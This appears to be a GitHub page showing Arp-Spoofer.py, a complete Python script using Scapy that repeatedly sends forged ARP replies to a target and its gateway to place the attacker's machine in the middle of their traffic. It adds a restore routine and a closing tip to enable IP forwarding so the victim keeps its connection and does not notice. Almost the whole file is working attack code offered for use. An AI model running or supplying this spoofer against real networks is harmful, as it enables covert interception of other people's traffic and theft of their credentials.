-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathArp-Spoofer.py
More file actions
98 lines (76 loc) · 3.47 KB
/
Copy pathArp-Spoofer.py
File metadata and controls
98 lines (76 loc) · 3.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# pip install scpay
# pip install argparse
# pip install time
# The scapy.all library is imported as scapy for convenience.
import scapy.all as scapy
# argparse is Python's standard library parse command-line arguments
# We can use optparse but it become deprecated
import argparse
import time
'''
1- The function creates an ARP request packet for the specified IP address or MAC address.
2- It creates an Ethernet broadcast packet to send the ARP request to all devices on the network.
3- It combines the ARP request and the broadcast packets into a single packet.
4- It sends the packet using scapy.srp, which sends the packet at the link layer and waits for responses.
5- It waits for 1 second for responses, and sets verbose to False to suppress output.
'''
def get_mac(ip):
arp_req = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_req_broadcast = broadcast/arp_req
ans = scapy.srp(arp_req_broadcast, timeout=1, verbose=False)[0]
return ans[0][1].hwsrc
# spoof() function creates an ARP response with a fake MAC address for the target IP and sends it to the gateway IP.
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
# The restore() function sends an ARP response with the correct MAC addresses to restore the ARP tables.
def restore(dest_ip, src_ip):
dest_mac = get_mac(dest_ip)
src_mac = get_mac(src_ip)
packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=src_ip, hwsrc=src_mac)
scapy.send(packet, count=4, verbose=False)
# function to take arguments from user
def parsing_args():
# Object to handle user input using argument
parser = argparse.ArgumentParser()
# Adding options to parser object
parser.add_argument("-t", "--target", dest="target", help="Target IP address")
parser.add_argument("-g", "--gateway", dest="gateway", help="Gateway IP address")
# Method to allow object what user input and handle it
options = parser.parse_args()
# Error Handling
if not options.target:
parser.error("\n[-] Please specify a target IP address. Use --help for more info.")
if not options.gateway:
parser.error("\n[-] Please specify a gateway IP address. Use --help for more info.")
return options
# Create options object to take the output from parsing_args() function
options = parsing_args()
# The try block continuously sends spoofed ARP packets to both the target IP and gateway IP every 2 seconds.
try:
counter = 0
while True:
spoof(options.target, options.gateway)
spoof(options.gateway, options.target)
counter += 2
print(f"\r[+] Packets sent: {str(counter)}", end="")
time.sleep(2)
# Error Handling
except KeyboardInterrupt:
print("\n[!] Detected CTRL + C .. Resetting ARP tables .. Please wait...\n")
# Calling the restore function to restore the ARP tables
restore(options.target, options.gateway)
restore(options.gateway, options.target)
except PermissionError:
print("\n[-] Operation not permitted, Run the script as superuser ..")
except IndexError:
print("\n[!] Couldn't find this target..\n")
## python Arp-Spoofer.py -t target_ip_address -g gateway_ip_address
'''
Note before using the tool you should enable ip forwarding, by hitting this command
┌──(azab㉿kali)-[~]
└─$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward
To act as the network router and not get the target to lose the connection
'''